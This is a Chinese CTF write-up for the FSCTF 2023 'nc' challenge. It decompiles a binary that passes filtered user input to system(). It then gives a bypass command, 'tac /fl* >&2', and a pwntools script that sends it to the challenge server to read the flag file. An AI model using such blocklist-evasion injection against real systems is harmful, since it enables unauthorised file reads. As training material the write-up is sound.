nssctf [FSCTF 2023]nc wp

字数: 342

题面

test your nc
附件:二进制文件

分析

主要逻辑在 main 里:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
int __fastcall main(int argc, const char **argv, const char **envp)
{
  char buf[40]; // [rsp+10h] [rbp-30h] BYREF
  unsigned __int64 v5; // [rsp+38h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  init(argc, argv, envp);
  puts("input your command to execute:");
  read(0, buf, 0x20u);
  if ( strstr(buf, "cat") || strstr(buf, "flag") || strpbrk(buf, "sh") || strstr(buf, "$0") )
  {
    puts("invalid command");
    return 0;
  }
  else
  {
    close(1);
    backdoor(buf);
    return 0;
  }
}

利用 strstr 检测子串无法直接 cat flag:

1
if ( strstr(buf, "cat") || strstr(buf, "flag") || strpbrk(buf, "sh") || strstr(buf, "$0") )

在后面还用 close 函数禁用了标准输出。

backdoor 函数:

1
2
3
4
5
6
7
8
unsigned __int64 __fastcall backdoor(const char *a1)
{
  unsigned __int64 v2; // [rsp+18h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  system(a1);
  return v2 - __readfsqword(0x28u);
}

简单的运行 shell 命令。

利用

利用的关键就在于在有过滤的情况下输出 flag 文件。
除了 cat ,我们还有 tac 工具,这个没有被禁用掉。
可以将输出重定向到标准错误stderr

最终得到命令为:

1
tac /fl* >&2

>&2 将 flag 内容输出到 stderr,其的数据仍会通过 socket 传回来,依次拿到 shell。

exp

1
2
3
4
5
6
7
8
from pwn import *

#io = process("./nc")
io = remote("node4.anna.nssctf.cn", 25029)

payload = b"tac /fl* >&2"
io.sendline(payload)
io.interactive()